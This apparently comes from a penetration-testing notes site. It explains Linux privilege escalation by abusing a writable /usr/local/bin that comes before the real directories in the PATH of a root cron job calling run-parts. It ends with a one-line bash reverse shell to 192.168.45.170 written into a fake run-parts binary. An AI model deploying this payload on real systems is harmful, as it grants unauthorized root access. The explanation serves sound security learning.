Path Abuse
A common privilege escalation vector on Linux involves abusing writable directories listed in the system’s PATH
environment variable, particularly when those directories are used by automated tasks executed with elevated privileges. When a privileged process like a cron job executes a command without specifying its full path, the shell resolves that command by searching through the directories listed in PATH
. If one of these directories is writable by a low-privileged user, and a file with the same name as the expected command is placed there, the system may inadvertently execute the user-controlled binary or script as root
. This becomes especially dangerous when the task is run by root
on a predictable schedule, such as through /etc/crontab
.
For example, Linpeas often highlights both writable system paths:
# Host enumeration with Linpeas
$ ./linpeas.sh
╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
╔══════════╣ Systemd PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
/usr/local/bin
Inspecting the /etc/crontab
reveals a root
-owned job scheduled to run every five minutes. The relevant line instructed the system to execute run-parts
to iterate over scripts in /etc/cron.hourly
, without using an absolute path for the run-parts
binary. Since /usr/local/bin
appeared earlier in the PATH
, any binary or script placed there with the name run-parts
would be executed in place of the real one.
$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/5 * * * * root cd / && run-parts --report /etc/cron.hourly # Every 5 mins
To exploit this misconfiguration, a reverse shell payload was written into /usr/local/bin/run-parts
, ensuring it was executable.
$ echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.45.170/21 0>&1'" > /usr/local/bin/run-parts
Within the next five-minute interval, the cron job will trigger and execute the malicious script under root
privileges, resulting in a root
shell on the attacker’s listener.
Last updated
Was this helpful?